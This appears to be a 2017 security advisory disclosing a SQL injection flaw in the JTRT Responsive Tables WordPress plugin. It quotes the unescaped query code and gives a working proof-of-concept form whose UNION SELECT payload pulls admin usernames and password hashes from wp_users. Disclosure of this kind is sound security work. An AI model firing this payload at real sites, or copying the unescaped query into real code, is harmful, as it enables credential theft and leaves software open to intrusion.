Homepage:
https://pt.wordpress.org/plugins/jtrt-responsive-tables/
Description:
- Type user acces: registered single user.
$_POST[‘tableId’] is not escaped.
File / Code:
Path: /wp-content/plugins/jtrt-responsive-tables/admin/class-jtrt-responsive-tables-admin.php
Line : 183
$getTableId = $_POST['tableId']; ...
$retrieve_data = $wpdb->get_results( "SELECT * FROM $jtrt_tables_name WHERE jttable_IDD = " . $getTableId );
Proof of Concept:
1 – Log in with single user.
2 – Using form, sqli by post:
<form method="post" action="http://target.dev/wp-admin/admin-ajax.php?action=get_old_table"> <input type="text" name="tableId" value="1 UNION SELECT 1,2,CONCAT(user_login,char(58),user_pass),4,5 FROM wp_users WHERE ID=1"> <input type="submit" name=""> </form>
Timeline:
- 08/09/2017 – Discovered
- 11/09/2017 – Vendor finded
- 03/11/2017 – Publish